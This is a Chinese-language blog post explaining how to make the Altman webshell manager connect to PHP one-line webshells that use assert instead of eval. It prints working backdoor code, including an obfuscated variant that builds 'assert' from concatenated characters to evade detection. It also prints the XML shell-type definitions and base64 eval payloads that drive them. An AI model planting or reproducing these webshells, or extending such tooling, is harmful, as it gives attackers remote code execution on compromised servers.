Altman连接phpEval与phpAssert一句话木马

AI 摘要
AI 摘要接口暂无内容

之前测试altman工具的时候,遇到了一个问题,现解决方法如下:

Altman连接phpEval一句话木马的时候,phpEval.type的定义如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<customShellType>
  <basicSetting>
    <name>phpEval</name>
    <serviceExample><![CDATA[<?php @eval($_POST[a])?>]]></serviceExample>
    <mainCodeParam location="Body" encrymode="None" >passwd</mainCodeParam>
  </basicSetting>
  <mainCodeSetting>
    <funcCodeParam location="Body" encrymode="Base64" >funcCode</funcCodeParam>
    <item><![CDATA[print("->|");
eval(base64_decode($_POST[$funcCode$]));
print("|<-");
die();]]></item>
  </mainCodeSetting>
</customShellType>

eval函数执行php语句

print("->|");eval(base64_decode($_POST[$funcCode$]));print("|<-");die();时,

确实是正确的。

然而当使用某些变形php一句话木马,如:

<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["a"]); ?>

时,

Altman就无法连接一句话木马了。

原因在于,这个变形木马使用的是assert函数,而eval与assert最主要区别是eval的参数可以是多个语句,而assert的参数是一个表达式。所以assert只会执行到print("->|")代码,后面的代码则直接报错了。

所以在了解到eval与assert的区别后,很容易写出一个新脚本类型,phpAssert.type定义如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<customShellType>
  <basicSetting>
    <name>phpAssert</name>
    <serviceExample><![CDATA[<?php @assert($_POST[a])?>]]></serviceExample>
	<mainCodeParam location="Body" encrymode="None" >passwd</mainCodeParam>
  </basicSetting>
  <mainCodeSetting>
	<funcCodeParam location="Body" encrymode="Base64" >funcCode</funcCodeParam>
	<item><![CDATA[@eval("print('->|');".base64_decode($_POST[$funcCode$])."print('|<-');");]]></item>
  </mainCodeSetting>
</customShellType>

PS:其实assert还有一个坑,那就是echo在assert中是不能直接使用的,因为在php中echo并不是一个函数:),不能作为表达式。

Built with Hugo
Theme Stack designed by Jimmy